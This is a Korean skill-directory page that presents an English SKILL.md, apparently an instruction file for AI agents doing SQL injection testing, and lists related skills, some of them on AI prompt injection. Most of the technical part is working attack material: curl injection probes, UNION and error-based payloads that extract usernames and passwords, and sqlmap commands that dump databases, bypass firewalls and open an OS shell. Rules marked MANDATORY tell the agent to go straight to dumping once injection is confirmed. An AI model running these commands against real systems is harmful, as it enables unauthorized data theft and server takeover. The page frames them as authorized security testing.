sqli
하는 일
이 스킬은 입력 필드가 데이터베이스 질의를 바꿀 수 있는지 확인하는 과정을 안내합니다. 폼, 검색창, URL 파라미터를 점검하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓페이지가 id, 검색어, 로그인 필드를 받고 SQL 인젝션을 확인하려는 경우.
- ✓보안 검토에서 데이터베이스 질의가 안전한 파라미터를 쓰는지 물을 때.
- ✓허가된 테스트에서 sqlmap으로 URL이나 폼을 확인하고 싶을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“제 사이트 검색창으로 데이터베이스 질의를 실행할 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 입력에 따옴표 문자와 논리 테스트를 보내 응답이나 시간을 비교하고, 입력이 데이터베이스에 닿는다고 확인되면 자동화 도구를 사용합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
SQL Injection
Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.
Detection
# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt
# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt
# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt
sqlmap — Automated Exploitation
# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/
# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/
# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/
# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/
# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/
# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/
# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/
# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/
Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)
When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:
- Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
# Time-based oracle confirmation curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt # Boolean differential curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt - If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \ --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log & - Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.
Manual-vs-Tool Decision Rule (MANDATORY)
Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:
| State | Action |
|---|---|
| SQLi confirmed, no extraction yet | Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST |
| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation |
| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |
| Harness completes with partial extraction | Submit/verify the partial result before launching a second harness |
Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.
Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.
Manual Techniques
Union-Based
-- Determine column count
ORDER BY 1-- -
ORDER BY 2-- -
-- ... increment until error
-- Extract data via UNION
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -
Error-Based (MySQL)
-- ExtractValue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -
-- UpdateXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
**Bl
자주 묻는 질문
sqlmap은 무엇을 하나요?
SQL 인젝션 테스트를 자동화하는 도구입니다. 이 스킬은 필터 우회를 위한 tamper 스크립트도 언급합니다.
블라인드 인젝션도 다루나요?
네. 불리언 기반과 시간 기반 블라인드 테스트, 그리고 UNION 및 에러 기반 테스트를 다룹니다.
데이터베이스 테이블을 덤프할 수 있나요?
이 스킬은 테스트 중 데이터베이스 목록을 보고 선택한 테이블을 덤프하는 방법을 보여 줍니다.
상세 정보
작성자의 원본 설명
SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14080
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.